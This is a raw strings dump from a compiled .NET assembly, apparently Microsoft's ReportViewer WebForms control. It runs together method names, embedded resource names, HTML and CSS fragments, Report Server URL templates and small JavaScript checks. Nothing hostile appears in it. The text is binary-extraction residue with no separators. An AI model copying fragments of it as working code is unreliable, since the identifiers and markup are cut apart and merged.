_DisplayClass6w<LoadReportDefinition>b__4<LoadReportDefinition>b__5<>c__DisplayClassa<SetExecutionCredentials>b__8<SetExecutionCredentials>b__9<>c__DisplayClasse<SetExecutionParameters>b__c<SetExecutionParameters>b__d<ResetExecution>b__10<ResetExecution>b__11<>c__DisplayClass14mimeencsids<Render>b__12<Render>b__13<>c__DisplayClass17<RenderStream>b__16<GetExecutionInfo>b__19<GetExecutionInfo>b__1a<GetDocumentMap>b__1b<>c__DisplayClass1e<LoadDrillthroughTarget>b__1c<LoadDrillthroughTarget>b__1d<>c__DisplayClass21<ToggleItem>b__20<>c__DisplayClass24<NavigateDocumentMap>b__23<>c__DisplayClass27<NavigateBookmark>b__26<>c__DisplayClass2arptItemnPages<Sort>b__29<>c__DisplayClass2eexecInfo<Sort>b__2c<Sort>b__2d<>c__DisplayClass31<FindString>b__30<>c__DisplayClass34<GetRenderResource>b__33<ListRenderingExtensions>b__36<>c__DisplayClass38<LogonUser>b__37<Logoff>b__3aget_MissingEndpointWebExceptionStatusget_StatusXmlQualifiedNameClientFaultCodeget_ActorEndsWithStringComparerget_OrdinalIgnoreCaseIEqualityComparer`1CookieCollectionEscapeDataStringUnescapeDataStringRoundCloneMaxset_Landscapeget_IsValidget_LandscapePaperSizeCollectionget_PaperSizesset_PrinterSettingsDefaultMemberAttributeGetKeyGetValuesProcessingMessageProcessingErrorCodeServerDataSourceSettingsDataSourcePromptCollectionGetPromptRepresentativesget_PromptIdentifierTryGetValueStructLayoutAttributeLayoutKindStrongNameIdentityPermissionAttributeget_Detailget_OwnerDocumentXmlNameTableget_NameTableXmlNamespaceManagerAddNamespaceSelectSingleNodeXmlAttributeCollectionget_AttributesXmlNamedNodeMapGetNamedItemRSSoapMessageFormatNotImplementedExceptionTypeConverterAttributeUsageAttributeAttributeTargetsset_DescriptionValueget_PaperNameset_PaperNameget_RawKindset_RawKindPaperSourceset_PaperSourceget_PaperSourceget_SourceNameset_SourceNamePrinterResolutionset_PrinterResolutionget_PrinterResolutionPrinterResolutionKindget_Kindset_Kindget_Xset_Xget_Yset_Yget_PrinterSettingsObjectDataSourceGetViewGetViewNamesSelectGetCompiledReportget_DataSetsNameGetEnumerator>d__0<System.Collections.IEnumerable<>2__currentSystem.Collections.Generic.IEnumerator<System.Object>.get_CurrentSystem.Collections.IEnumerator.ResetSystem.IDisposable.Dispose<>1__stateSystem.Collections.IEnumerator.get_Current<ds>5__1<>7__wrap2<>m__Finally3System.Collections.Generic.IEnumerator<System.Object>.CurrentSystem.Collections.IEnumerator.CurrentDebuggerHiddenAttributeNotSupportedExceptionViewerJobContextImplViewerExtensionFactoryExecutionTypeIJobContextIExtensionFactoryRSTraceTracerAssertDataSetProcessingExtensionXmlTypeAttributeXmlRootAttributeXmlAnyAttributeAttributeXmlIgnoreAttributeXmlArrayItemAttributeRaiseExceptionIfNecessaryRegisterScriptControlget_DesignModeRegisterScriptDescriptorsHtmlTextWriterStyleToInt32get_Whiteget_ClientIDEnsureChildControlsRenderBeginTagRenderEndTagRenderControlAddPropertyget_ContentTemplateContainerRegisterAsyncPostBackControladd_PreRenderCompleteget_IsPostBackLosFormatterDeserializeget_IsInAsyncPostBackStringWriterSerializeget_EnablePartialRenderingClientScriptManagerget_ClientScriptGetPostBackEventReferenceAddScriptPropertyget_UserAgentset_PathReflectionPermissionAttributeget_LCIDget_CurrentUICultureEnsureIDHtmlTextWriterAttributeAddAttributeAddStyleAttributeColorTranslatorToHtmlWriteEncodedTextICollection`1GetExecutingAssemblyGetManifestResourceStreamset_EnableViewStateget_StackTraceget_CssClassset_CssClassGetTypeget_AssemblyQualifiedNameget_UrlUriPartialGetLeftPartApplyAppPathModifierset_StatusCodeHttpCachePolicyget_CacheHttpCacheabilitySetCacheabilityget_BufferOutputget_ServerVariablesget_QueryStringGCSuppressFinalizeFormatException<PrivateImplementationDetails>{1FD7FF49-4D42-451F-B106-1687654B7E13}__StaticArrayInitTypeSize=6$$method0x60007ec-1RuntimeHelpersArrayRuntimeFieldHandleInitializeArrayHttpSessionStateget_Sessionset_CurrentCultureset_CurrentUICultureget_UseUserOverrideset_BufferOutputset_ContentTypeset_Expiresget_OutputStreamget_NowToUniversalTimeop_Subtractionget_TotalSecondsset_Queryget_PathAndQueryget_NewLineJoinget_InputStreamStringSplitOptions<GetReportsWithSessions>d__0System.Collections.Generic.IEnumerable<Microsoft.Reporting.WebForms.ServerReport>.GetEnumeratorSystem.Collections.Generic.IEnumerator<Microsoft.Reporting.WebForms.ServerReport>.get_Current<>l__initialThreadId<>3__reportHierarchy<reportInfo>5__1<serverReport>5__2<>7__wrap3<>m__Finally4System.Collections.Generic.IEnumerator<Microsoft.Reporting.WebForms.ServerReport>.Currentget_ManagedThreadIdHttpServerUtilityget_ServerTransferXmlTextWriterXmlWriterWriteStartElementWriteElementStringWriteEndElementBinaryWriteget_FragmentXmlConvertEncodeNameAddHeaderSetExpiresGetCustomAttributesget_InformationalVersionFromHtmlBitmapGraphicsFromImageGetBrightnessget_Rget_Gget_BImageAttributesSetColorMatrixGraphicsUnitDrawImageImageFormatget_JpegSaveget_Redset_BorderColorPixelset_BorderWidthset_BorderStyleset_Indentset_NewLineset_Textget_ChildControlsCreatedClearChildStateset_ChildControlsCreatedCopyFromValueCollectionget_ViewStateget_Cancelget_Enabledset_Enabledget_CheckedValidatorDisplayset_Displayadd_CheckedChangedset_Checkedset_GroupNameget_GroupNameadd_TextChangedTextBoxModeset_TextModeset_Columnsset_MaxLengthset_ClientValidationFunctionRegisterClientScriptBlockset_IsValidKeyValuePair`2get_KeyFlagsAttributeRaiseBubbleEventset_ControlToValidateListControladd_SelectedIndexChangedListItemCollectionListItemset_SelectedIndexget_SelectedIndexDataBoundControlWriteBeginTagget_Selectedget_UniqueIDRegisterForEventValidationWriteEndTagset_CausesValidationset_Altget_Altget_Srcset_Srcget_NamingContainerget_ControlToValidateget_Parentset_ReadOnlyTextInfoget_TextInfoget_ListSeparatorDateTimeUtilDateTimeOffsetTryParseDateTimeget_TimeOfDayget_DateToShortDateStringget_DateTimeget_DarkGrayset_Wrapset_RowsUnitTypeop_ImplicitUpdatePanelUpdateModeset_UpdateModeset_ChildrenAsTriggersPercentageadd_Tickset_IntervalDecoderGetDecoderGetCharsSettempStorage<get_CreateStreamCallback>b__0lastMemoryStream<RenderReportForPrint>b__0HttpExceptionBitConverterset_AlternateTextset_ToolTipImageAlignset_ImageAlignset_OnClientClickDesignerAttributeget_ControlStyleget_BorderStyleFromArgbUpdatePanelRenderModeset_RenderModeget_IsInPartialRenderingPropertyInfoGetPropertyget_PropertyTypeMemberInfoDataSourceViewSelectCallbackDataSourceSelectArgumentsget_EmptyEventWaitHandleFontUnitPointset_SizeGetStyleAttributesget_Grayget_TransparentAddComponentProperty<CreateChildControls>b__0<CreateChildControls>b__1<CreateChildControls>b__2AddElementPropertyFindByValueset_SelectedValueTableRowTableCellTableRowCollectionget_RowsTableCellCollectionget_Cellsset_NavigateUrlset_ForeColorget_ToggleStateMeasureItemsAddToggledItemsget_UnicodeBinaryReaderActivatorCreateInstanceConfigurationManagerget_AppSettingsIsAssignableFromHtmlFormget_CurrentTimeZoneGetUtcOffsetDateTimeFormatInfoget_DateTimeFormatRegisterClientScriptInclude__StaticArrayInitTypeSize=108$$method0x6000cd5-1GetAllDateTimePatternsget_DateSeparatorget_MonthNamesget_AbbreviatedMonthNamesget_MonthGenitiveNames__StaticArrayInitTypeSize=7$$method0x6000cd5-2get_AbbreviatedDayNamesget_ShortestDayNamesget_YearMonthPatternget_LongDatePatternget_ErasGetEraNameGetAbbreviatedEraNameget_UtcNowop_AdditionJapaneseCalendarTaiwanCalendarKoreanCalendarHijriCalendarThaiBuddhistCalendarHebrewCalendarGregorianCalendarTypes__StaticArrayInitTypeSize=88$$method0x6000cfc-1get_IsRightToLeft__StaticArrayInitTypeSize=52$$method0x6000e92-1DefaultPropertyAttributeMinValueBindableAttributeTrimStartUInt16__StaticArrayInitTypeSize=128$$method0x6000e94-1__StaticArrayInitTypeSize=192$$method0x6000e94-2IsMatchget_EncodingNameCookieContainerset_CookieContainerget_CookieContainerset_UserAgentget_AddressGetComponentsIOExceptionSystem.Net.SocketsSocketExceptionSocketErrorget_SocketErrorCodeget_IsLocal<get_LocalIPAddresses>b__0ContextBodyCS$<>9__CachedAnonymousMethodDelegate1get_MachineNameDnsIPHostEntryGetHostEntryget_AddressListSystem.ManagementManagementExceptionRevertImpersonationContextRun<>c__DisplayClass3<>c__DisplayClass5CS$<>8__locals4<IsLocalIPServer>b__2WebUtilNormalizeWellKnownLocalServerNameIsSameServerget_BrowserSystem.Web.ConfigurationHttpCapabilitiesBaseget_ActiveXControlsget_EcmaScriptVersionget_Tablesget_MajorVersionget_MinorVersionget_Win32HttpUnhandledExceptionFileGetLastWriteTimeReadAllBytesProcessingStringsget_RdlCompile_CouldNotOpenFileReportCompilerReportProcessingExceptionget_ProcessingMessagesDefinitionInvalidExceptionExistsFileStreamFileModeSystem.Runtime.Serialization.Formatters.BinaryBinaryFormatterDeleteget_RdlCompile_CouldNotWriteStateFileget_ProjectFileOfTaskNodeBuildWarningEventArgsLogWarningEventget_ContinueOnErrorget_LineNumberOfTaskNodeget_ColumnNumberOfTaskNodeBuildErrorEventArgsLogErrorEventOutputAttributeIEqualityComparerOpenStreamget_VirtualPathSystem.Web.HostingHostingEnvironmentHttpParseExceptionParserErrorCollectionget_ParserErrorsParserErrorCopyMicrosoft.ReportingServices.Rendering.HtmlRenderer.RenderRes.resourcesMicrosoft.Reporting.CommonStrings.resourcesMicrosoft.Reporting.WebForms.Strings.resourcesMicrosoft.Reporting.WebForms.Errors.resourcesMicrosoft.Reporting.WebForms.ParameterInputControlStrings.resourcesMicrosoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.TogglePlus.gifMicrosoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.ToggleMinus.gifMicrosoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.sortAsc.gifMicrosoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.sortDesc.gifMicrosoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.unsorted.gifMicrosoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.Blank.gifMicrosoft.Reporting.WebForms.Icons.FirstPage.gifMicrosoft.Reporting.WebForms.Icons.LastPage.gifMicrosoft.Reporting.WebForms.Icons.NextPage.gifMicrosoft.Reporting.WebForms.Icons.PrevPage.gifMicrosoft.Reporting.WebForms.Icons.FirstPageDisabled.gifMicrosoft.Reporting.WebForms.Icons.LastPageDisabled.gifMicrosoft.Reporting.WebForms.Icons.NextPageDisabled.gifMicrosoft.Reporting.WebForms.Icons.PrevPageDisabled.gifMicrosoft.Reporting.WebForms.Icons.BackRTLEnabled.gifMicrosoft.Reporting.WebForms.Icons.BackRTLDisabled.gifMicrosoft.Reporting.WebForms.Icons.BackEnabled.gifMicrosoft.Reporting.WebForms.Icons.BackDisabled.gifMicrosoft.Reporting.WebForms.Icons.Refresh.gifMicrosoft.Reporting.WebForms.Icons.RefreshDisabled.gifMicrosoft.Reporting.WebForms.Icons.DocMap.gifMicrosoft.Reporting.WebForms.Icons.Print.gifMicrosoft.Reporting.WebForms.Icons.PrintDisabled.gifMicrosoft.Reporting.WebForms.Icons.MultiValueSelect.gifMicrosoft.Reporting.WebForms.Icons.SpinningWheel.gifMicrosoft.Reporting.WebForms.Icons.HandleGrip.gifMicrosoft.Reporting.WebForms.Icons.HandleGripRTL.gifMicrosoft.Reporting.WebForms.Icons.ArrowDown.gifMicrosoft.Reporting.WebForms.Icons.ArrowDownDisabled.gifMicrosoft.Reporting.WebForms.Icons.Export.gifMicrosoft.Reporting.WebForms.Icons.ExportDisabled.gifMicrosoft.Reporting.WebForms.Icons.minus.gifMicrosoft.Reporting.WebForms.Icons.plus.gifMicrosoft.Reporting.WebForms.Icons.white.gifMicrosoft.Reporting.WebForms.calendar.gifMicrosoft.Reporting.WebForms.calendar_disabled.gifMicrosoft.Reporting.WebForms.pickback.gifMicrosoft.Reporting.WebForms.pickforward.gifMicrosoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.CanGrowFalse.jsMicrosoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.Common.jsMicrosoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.FixedHeader.jsMicrosoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.FitProportional.jsMicrosoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.ImageConsolidation.jsMicrosoft.Reporting.WebForms.datepicker.jsMicrosoft.Reporting.WebForms.Scripts.AsyncWaitControl.jsMicrosoft.Reporting.WebForms.Scripts.DocMapArea.jsMicrosoft.Reporting.WebForms.Scripts.HoverImage.jsMicrosoft.Reporting.WebForms.Scripts.ScriptSwitchImage.jsMicrosoft.Reporting.WebForms.Scripts.TextButton.jsMicrosoft.Reporting.WebForms.Scripts.ParameterInputControls.jsMicrosoft.Reporting.WebForms.Scripts.PromptArea.jsMicrosoft.Reporting.WebForms.Scripts.ReportArea.jsMicrosoft.Reporting.WebForms.Scripts.ReportPage.jsMicrosoft.Reporting.WebForms.Scripts.Toolbar.jsMicrosoft.Reporting.WebForms.Scripts.ReportViewer.jsMicrosoft.Reporting.WebForms.Scripts.InternalReportViewer.jsMicrosoft.Reporting.WebForms.Scripts.SessionKeepAlive.jsMicrosoft.Reporting.WebForms.Scripts.ResizableBehavior.jsMicrosoft.Reporting.WebForms.Scripts.ToolbarMenu.jsMicrosoft.Reporting.WebForms.Scripts.Splitter.jsMicrosoft.Reporting.WebForms.Scripts.BrowserNavigationCorrector.jsMicrosoft.Reporting.WebForms.Scripts.Common.jsMicrosoft.Reporting.WebForms.Icons.toolbar_bk.pngMicrosoft.Reporting.WebForms.Icons.docmap_bgt.pngMicrosoft.Reporting.WebForms.Icons.SplitterVertCollapse.pngMicrosoft.Reporting.WebForms.Icons.SplitterHorizCollapse.pngMicrosoft.Reporting.WebForms.Icons.SplitterVertExpand.pngMicrosoft.Reporting.WebForms.Icons.SplitterHorizExpand.pngMicrosoft.Reporting.WebForms.Icons.SplitterVertCollapseHover.pngMicrosoft.Reporting.WebForms.Icons.SplitterHorizCollapseHover.pngMicrosoft.Reporting.WebForms.Icons.SplitterVertExpandHover.pngMicrosoft.Reporting.WebForms.Icons.SplitterHorizExpandHover.pngMicrosoft.Reporting.WebForms.calendar.cssMicrosoft.Reporting.WebForms.ReportViewer.bmpMicrosoft.Reporting.WebForms.rsclientprint-x86.cabMicrosoft.Reporting.WebForms.rsclientprint-x64.cabMicrosoft.Reporting.WebForms.rsclientprint-ia64.cabHTMLFragmentMHTMLFragmentNetscapePrefixIdA-BookmarkIdJavaScriptActionScriptUserAgentMSIE 6.0MSIE 7.0ExpandContentSectionFindStringLinkTargetOutlookCompat!AccessibleTablixStyleStream#OnlyVisibleStyles%ResourceStreamRootStreamRoot	ZoomReplacementRoot%ImageConsolidationBrowserModevalue'^([a-zA-Z0-9_\.]+)$a
quirksstandards	oHit


M<TABLE CELLSPACING="0" CELLPADDING="0" BORDER="0"0pt COLS=" COLSPAN=" ROWSPAN=" HEADERS=" ></TABLE>	<DIV
</DIV><body</body>
<html></html>
<head></head><title></title><TR><TD</TD></TR><TD</TD></TR><TR VALIGN="<span</span>""> ID="mmpx WIDTH="0" HEIGHT="0""/><a TARGET="	</a> href=" nohref="true" HEIGHT=" WIDTH="	<IMG; onerror="this.errored=true;"
 SRC="top	leftright
center! CLASSID="CLSID: CODEBASE=" TITLE="
 ALT="<OBJECT</OBJECT><PARAM NAME=" VALUE="=&amp;
&nbsp;?	none[if(event.keyCode == 13 || event.which == 13){	100%99%) dir="RTL" dir="LTR"<br/> tabindex=" USEMAP="<MAP 
</MAP>
<AREA  COORDS=" SHAPE=" NAME="
circle	poly	rect,Map<li</li>_FNHR	_MCC_FRGH_FCGH	_FRH	_FCH	_FCC.r1r2r3r4r5r6r7r8r9r10r11r12r13r14 class="r1" class="r2" class="r3" class="r9 class="r10 class="r11" class="r12" class="r13"r15 class="r15"r16 class="r16"r17 class="r17"r18 class="r18"_{} class=" style="HEIGHT:min-height:
WIDTH:min-width:!border-width:0pxborder:border-left:border-top:border-bottom:border-right:border-color:border-style:border-width:)border-bottom-color:)border-bottom-style:)border-bottom-width:%border-left-color:%border-left-style:%border-left-width:'border-right-color:'border-right-style:'border-right-width:#border-top-color:#border-top-style:#border-top-width:;)word-wrap:break-word)white-space:pre-wrap!word-wrap:normaloverflow:hidden#overflow-x:hidden1border-collapse:collapse%table-layout:fixedpadding-left:padding-right:padding-top:padding-bottom:#background-color:+background-image:url(%background-repeat:font-style:font-family:font-size:font-weight:!text-decoration:text-align:vertical-align:
color:line-height:direction:unicode-bidi:writing-mode:tb-rlbt-rllr-tbrl-tblayout-flow:)vertical-ideographichorizontalcursor:pointer LANG="margin-left:margin-top:margin-bottom:margin-right:text-indent:W onload="this.fitproportional=true;this.pv=]<v:group coordsize="100,100" coordorigin="0,0"!<v:line from="0, strokecolor=" strokeWeight="+<v:stroke dashstyle=" slineStyle="'</v:line></v:group>100" to="100,0"0" to="100,100"a<div style="page-break-after:always"><hr/></div>%position:absolute;%position:relative;clip:rect(	top:left:px </ul></ol><ol<ol type="i"<ol type="a"<ul type="disc"#<ul type="square"#<ul type="circle" nogrow="true"-display: inline-block;style{0}{1}{2}{1}{3}{0}{1}{2}csstext/csscpslrclcre0hpngimage/pngsortAsc.gifsortDesc.gifunsorted.gif onclick="('','#');return false;" onkeypress="%');}return false;"direction:ltroReportDivoReportCellf2Blank.gif!display: inline;	_fvtv ROWS='2'# imgConDiv="true"+ imgConFitProp="true"	_ici imgConImage=" imgConWidth=" imgConHeight="1tr_ style="COLOR:black;BACKGROUND-COLOR:#B5D4FE;">s style="COLOR:highlighttext;BACKGROUND-COLOR:highlight;">#_gr1ptzoom:%"position:absolute;display:none;background-color:white;border:1px solid black;atext-decoration:none;color:black;cursor:pointer;	RTL;)display:inline-table * { -webkit--moz-1box-sizing: border-box; 1box-sizing: border-box }DrillthroughBookmark<?XML:NAMESPACE PREFIX=v /><?IMPORT NAMESPACE="v" IMPLEMENTATION="#default#VML" />solid
dashed	dash
dotteddot
doublethinthinrtl origWidth="" origHeight="	_ifd3 width="1px" height="1px"	frgh	fcghfchfcghArr=new Array(',');
=null;if (!){3.CreateFixedColumnHeader(');
frhArr-.CreateFixedRowHeader(
fchArr3.ShowFixedTablixHeaders('%border-style:none;txttext/plain
 ids="'growRectangleIdsTag#fitVertTextIdsTagimgFitDivIdsTag#imgConImageIdsTagArial	10pt#HideDocMapTooltipDocumentMap%DefaultDocMapLabel'HTML40LocalizedName%MHTMLLocalizedName+rrInvalidSectionError'rrInvalidDeviceInfo'ToggleStateCollapse#ToggleStateExpandMicrosoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.TogglePlus.gifimage/gifMicrosoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.ToggleMinus.gifMicrosoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.sortAsc.gifMicrosoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.sortDesc.gifMicrosoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.unsorted.gifMicrosoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.Blank.gifMicrosoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.Common.js-application/javascriptMicrosoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.FitProportional.jsMicrosoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.FixedHeader.jsMicrosoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.CanGrowFalse.jsMicrosoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.ImageConsolidation.jsTogglePlus.gifToggleMinus.gifMicrosoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.
normal
italic400100200300500600700800900underlineoverlineline-through
middle
bottomltrembedbidi-override
repeatno-repeatrepeat-xrepeat-y
reportDisplayNameReportPath-ReportEmbeddedResourceDataSourcesParametersControlServicePageProperties#DrillthroughDepth)EnableExternalImages!EnableHyperlinksRuntimeSetup1ParentSuppliedParameterscredentialsreportNamedrillthroughId
ActualassemblyNamepermissionsparameterscreateStream)createStreamCallback
format{0}: {1} ({2})Estimate;http://localhost/reportserverServerURLTimeOutHeadersCookiesCredentialsViewStateValues{0}={1}ReportSession/executionIdq{0}?{1}&rs:SessionID={2}&rs:command=Render&rs:Format={3}&rs:snapshot=	&rc:&rc:Toolbar=false&rs:ErrorResponseAsXml=true&rs:AllowNewSessions=false&	archI60677965-AB8B-464f-9B04-4BA871A2F17FI41861299-EAB2-4DCC-986C-802AE12AC499I5554DCB0-700B-498D-9B58-4E40E5814405{0}?rs:command=Get&rc:GetImage={1}{2}&rs:ErrorResponseAsXml=true{0}?rs:command=Get&rs:PrintControlClsid={1}{2}&rs:ErrorResponseAsXml=trueK{0}?rs:command=StyleSheet{1}&Name={2}Image#rsclientprint.cab+rsclientprint-x64.cab-rsclientprint-ia64.cabContent-TypeFileExtensionmhttp://localhost/ReportServer/ReportExecution2005.asmx#ListSecureMethodsLoadReportLoadReport2)LoadReportDefinition+LoadReportDefinition2/SetExecutionCredentials1SetExecutionCredentials2-SetExecutionParameters/SetExecutionParameters2ResetExecutionResetExecution2
RenderRender2RenderStream!GetExecutionInfo#GetExecutionInfo2GetDocumentMap-LoadDrillthroughTarget/LoadDrillthroughTarget2ToggleItem'NavigateDocumentMap!NavigateBookmark	SortSort2#GetRenderResource/ListRenderingExtensionsLogonUser
Logoff1ReportExecution2005.asmxUrlRender
Server#Microsoft-IIS/5.0#Microsoft-IIS/5.1connectioninitialMethod1Failed to execute method
method-RSAuthenticationHeader+
values!reportParametersWarningCount	NameID	itemdeviceInfoName=DeviceInfo Name already exists	namekey+ReportServerErrorCoders]http://www.microsoft.com/sql/reportingservicesrs:MessageErrorCode%rs:MoreInformation
Report'MissingReportSourceReportNotReady1NonClsCompliantException9MissingDataSourceCredentials#NotInDrillthrough+LocalProcessingErrors?LocalModeMissingFullTrustErrors+ClientRenderingErrorsOCasPolicyUnavailableForCurrentAppDomain'ToolBarCategoryDesc/ReportViewerDescription%ProcessingModeDescLocalReportDesc!ServerReportDesc'DocMapCollapsedDesc/PromptAreaCollapsedDesc1ShowParameterPromptsDesc3ShowCredentialPromptsDescShowToolBarDesc!ShowProgressDesc'ShowContextMenuDesc3ShowDocumentMapButtonDesc1ShowPromptAreaButtonDesc-ShowPageNavigationDesc%ShowBackButtonDesc%ShowStopButtonDesc+ShowRefreshButtonDesc'ShowPrintButtonDesc)ShowExportButtonDesc%ShowZoomButtonDesc%ShowFindButtonDesc#PageCountModeDescZoomModeDescZoomPercentDescZoomEventDesc/PageNavigationEventDescExportEventDesc!RefreshEventDescPrintEventDescBackEventDesc#BookmarkEventDescToggleEventDesc+DrillthroughEventDesc'ViewReportEventDescSortEventDesc%HyperlinkEventDescDocMapEventDesc/RenderCompleteEventDesc)RenderBeginEventDescSearchEventDescErrorEventDesc+StateChangedEventDescDisplayNameDesc'ReportServerUrlDesc)ServerReportPathDescHistoryIdDesc#ServerTimeoutDesc'LocalReportPathDesc+ReportDataSourcesDesc1EnableExternalImagesDesc)EnableHyperlinksDesc5ReportEmbeddedResourceDesc9SubreportProcessingEventDesc%ShowReportBodyDescDocMapWidthDesc%AsyncRenderingDesc7WaitControlDisplayAfterDesc;ShowWaitControlCancelLinkDesc'HyperlinkTargetDesc'WaitMessageFontDesc/InternalBorderStyleDesc/InternalBorderColorDesc/InternalBorderWidthDesc5ToolBarItemBorderStyleDesc5ToolBarItemBorderColorDesc5ToolBarItemBorderWidthDesc;ToolBarItemHoverBackColorDesc+LinkDisabledColorDesc'LinkActiveColorDesc1LinkActiveHoverColorDesc-ContentDispositionDesc)DocMapWidthFixedDesc#SizeToContentDesc;InteractivityPostBackModeDesc)KeepSessionAliveDescQSubmittingDataSourceCredentialsEventDescESubmittingParameterValuesEventDesc9PageSettingsChangedEventDesc3KeepSessionAliveException/ReportNotReadyException/PrintingBegingEventDescCShowDetailedSubreportMessagesDesc#AsyncProgressTextCancelLinkText9UnsupportedReportServerError!MissingParameter#MissingDataSource-HyperlinkSecurityError'ExternalImagesError)PolicyFileLoadFailed%DeviceInfoInternal#ParameterNotFound?ParameterSpecifiedMultipleTimes%EstimateTotalPagesCreateInternalProcessingContext is not used for ODP Engine ControlsParametersInternalProcessingContext is not used for ODP Engine Controlsabsolute%alpha(opacity={0})opacityqjavascript:$get('{0}').control._cancelCurrentPostback();	Wait#HiddenCancelField	trueiMicrosoft.Reporting.WebFormsClient._AsyncWaitControlReportViewerIdDisplayDelaySkipTimerWaitControlIdFixedTableId!ClientCanceledIdTriggerIdsWAttached ReportViewer must expose ViewStateScrollPositionViewStatePageStateNewViewStateNeedsCorrection}Microsoft.Reporting.WebFormsClient._BrowserNavigationCorrector-HiddenScrollPositionId#HiddenViewStateId)HiddenNewViewStateIdPageStateIdTriggerPostBackMicrosoft.Reporting.WebForms.Scripts.BrowserNavigationCorrector.jsqMicrosoft.Reporting.WebFormsClient._InternalReportViewerReportAreaIdDocMapAreaIdActionTypeIdActionParamIdHasSizingRowBaseHeightBaseWidth!DirectionCacheIdBrowserModeIdPromptAreaRowId!PromptSplitterId!DocMapSplitterId3DocMapHeaderOverflowDivId1UnableToLoadPrintMessage-PostBackToClientScriptExportUrlBase#_SessionKeepAlivePrintInfo;

if (typeof Microsoft == 'undefined' ||

    typeof Microsoft.Reporting == 'undefined' ||

    typeof Microsoft.Reporting.WebFormsClient == 'undefined' ||

    typeof Microsoft.Reporting.WebFormsClient.ReportViewer == 'undefined')

    Sys.UI.DomElement.setVisible($get('{0}'), true);WMicrosoft.Reporting.WebForms.Icons.plus.gifYMicrosoft.Reporting.WebForms.Icons.minus.gifYMicrosoft.Reporting.WebForms.Icons.white.gifClientClickedId/DocMapHeaderOverflowDiv
hidden
nowrap	10px7pxcMicrosoft.Reporting.WebForms.Icons.docmap_bgt.png	auto4pxonkeydownhidefocusoutlineRootNodeDocMapId-1onmouseoveronmouseoutblack	19pxabsmiddleimage]Microsoft.Reporting.WebFormsClient._DocMapAreaRootNodeId3SelectedNodeHiddenFieldIdIsLTRif($get('{0}').control != null) $get('{0}').control.OnKeyDown(event);if($get('{0}').control != null) $get('{0}').control.OnAnchorNodeSelected(this);return false;if($get('{0}').control != null) $get('{0}').control.OnTextNodeEnter(this);if($get('{0}').control != null) $get('{0}').control.OnTextNodeLeave(this);if($get('{0}').control != null) $get('{0}').control.ExpandCollapseNode(this.parentNode); event.cancelBubble=true;return false;0pxVerdana8pt
inline	<!---->InvalidPageNav%MissingCredentials/InvalidScriptIdentifierSessionDisabled#ViewStateDisabledSessionOrConfig)ASPNetSessionExpired3HandlerNotRegisteredTitle+ScriptManagerNotFoundReadOnlyViewerSearchNotFound%SearchNextNotFound#PageNumberInvalid;TempStorageNeedsSeekReadWrite/BadReportDataSourceType7InvalidDeviceInfoLinkTarget+InvalidDeviceInfoFind1InvalidDeviceInfoSection/MissingValueClientError7MissingSelectionClientError'MissingUrlParameter-ParamValueTypeMismatch/FailedToModifyWebConfig7HandlerNotRegisteredDetails#NoNamingContainerCDataControl_DataSourceDoesntExist1DataControl_ViewNotFoundSDataControl_DataSourceIDMustBeDataControl-CantFindConfigFileTypeAMissingInterfaceOnConfigFileTypeclassGReserved.ReportViewerWebControl.axdQ<add verb="*" path="{0}" type = "{1}" /><add name="{0}" preCondition="integratedMode" verb="*" path="{1}" type="{2}" />;ReportViewerWebControlHandler
OpTypeSERVER_PROTOCOLHTTP/1.0ResourceReportImage
ExportPrintRequestPrintCabCalendar!SessionKeepAliveStyleSheetStyleSheetImageBackImagex64	IA64WOW64ControlID	Mode&{0}={1}ReportStackCultureUICulture!CultureOverrides%UICultureOverrides{0}={1}{2}iMicrosoft.Reporting.WebFormsClient._SessionKeepAliveKeepAliveUrlKeepAliveBody1KeepAliveIntervalSecondsOK+OpType=Calendar&LCID=StreamID!ResourceStreamID)&OpType=ReportImage&NIterationId=IterationIdDeviceInfo	Arch#Version={0}1application/octet-stream)&OpType=PrintRequest<DeviceInfo>rc:<{0}>{1}</{0}>rs:rs:Commandrs:format</DeviceInfo>{0}={1}&FileName%ContentDisposition
Formattext/htmlattachment'{0}; filename="{1}"'Content-Disposition%XViewerScriptOpType=&Version=Name=]Microsoft.Reporting.WebForms.Scripts.Common.jseMicrosoft.Reporting.WebForms.Scripts.HoverImage.jsyMicrosoft.Reporting.WebForms.Scripts.InternalReportViewer.js}Microsoft.Reporting.WebForms.Scripts.ParameterInputControls.jseMicrosoft.Reporting.WebForms.Scripts.PromptArea.jseMicrosoft.Reporting.WebForms.Scripts.ReportArea.jseMicrosoft.Reporting.WebForms.Scripts.ReportPage.jsqMicrosoft.Reporting.WebForms.Scripts.SessionKeepAlive.jssMicrosoft.Reporting.WebForms.Scripts.ScriptSwitchImage.jseMicrosoft.Reporting.WebForms.Scripts.TextButton.js_Microsoft.Reporting.WebForms.Scripts.Toolbar.jsiMicrosoft.Reporting.WebForms.Scripts.ReportViewer.jsgMicrosoft.Reporting.WebForms.Scripts.ToolbarMenu.jsaMicrosoft.Reporting.WebForms.Scripts.Splitter.jssMicrosoft.Reporting.WebForms.Scripts.ResizableBehavior.jsqMicrosoft.Reporting.WebForms.Scripts.AsyncWaitControl.jseMicrosoft.Reporting.WebForms.Scripts.DocMapArea.jsCommon.js%FitProportional.jsFixedHeader.jsCanGrowFalse.js+ImageConsolidation.js
if (typeof(Sys) !== 'undefined') Sys.Application.notifyScriptLoaded();QInternal error: unknown assembly version
&Name=
